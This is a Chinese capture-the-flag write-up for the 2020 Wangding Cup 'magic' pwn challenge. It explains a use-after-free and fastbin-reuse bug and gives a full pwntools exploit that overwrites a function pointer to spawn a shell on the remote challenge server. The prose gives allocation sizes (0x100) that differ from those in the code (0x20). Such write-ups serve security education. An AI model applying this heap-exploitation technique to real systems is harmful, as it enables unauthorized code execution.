wdb网鼎杯_2020_pwn_magic
经典的菜单题,存在UAF漏洞题目逻辑:
1是创建多大空间 并保存你输入的字符串
2根据索引释放空间
3 根据索引打印对应的字符串解题思路:
在忘记魔法的函数里,释放空间是根据给定的索引来释放对应的空间。但是删除的时只free,而没有设置为 NULL,这里是存在 Use After Free 的情况的。同时还提供了这个函数:
可以修改的输入字段为 magic 函数的地址,从而实现在执行“使用魔法”即调用输入的字符串的时候执行 magic 函数。
也可以自己构造一个system(/bin/sh),我这里采用的是后者。我们通过写name的时候,覆盖magic:
原理:对于大小为(16 Bytes~ 64 Bytes)的堆块来说则是使用fastbin,在fastbin中,是由单项链表连接起来的,每个chunk的pre_chunk指向之前回收的chunk,即回收的chunk出于链表头部,此时分配时也会从头部分配。这里的magic分配空间为0x10,显然是一个 fastbin chunk(大小为 16 字节)。我们通过连续申请空间,形成一个链表,释放链表头的空间后,再次申请内存会从头部分配。即我们最后申请magic2的而空间保存到chunk0中,由于没有将释放的指针置空,我们再次调用第0个magic,就会将最后magic2填入的name给执行了。
步骤:学习魔法,申请空间0,0x100,大小要不同于0x10 maigc的大小学习魔法,申请空间1,0x100忘记魔法,释放空间0忘记魔法,释放空间1学习魔法,申请空间2,大小为 0x10,和magic申请的一样大,那么根据堆的分配规则空间2 其实会分配空间1 对应的内存块,这时name对应的是magic 0地址。如果我们这时候向magic 2 的name写入 需要执行的地址(system啥的),那么由于没有置magic 0为NULL。当我们再次尝试输出magic 0 的时候,程序就会调用magic2处的代码。代码:from pwn import *
context.log_level="debug"
r = remote('xuenixiang.cn',22295)
#r = process('./magic')
def learn(size, content):
r.recvuntil("choice :")
r.sendline('1')
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)
def forget(index):
r.recvuntil("choice :")
r.sendline('2')
r.recvuntil("index :")
r.sendline(str(index))
def use(index):
r.recvuntil("choice :")
r.sendline('3')
r.recvuntil("index :")
r.sendline(str(index))
system = 0x400A0D
learn(0x20, 'a')
learn(0x20, 'b')
forget(0)
forget(1)
payload = p64(0) + p64(system)
learn(0x10, payload)
use(0)
r.interactive()
页:
[1]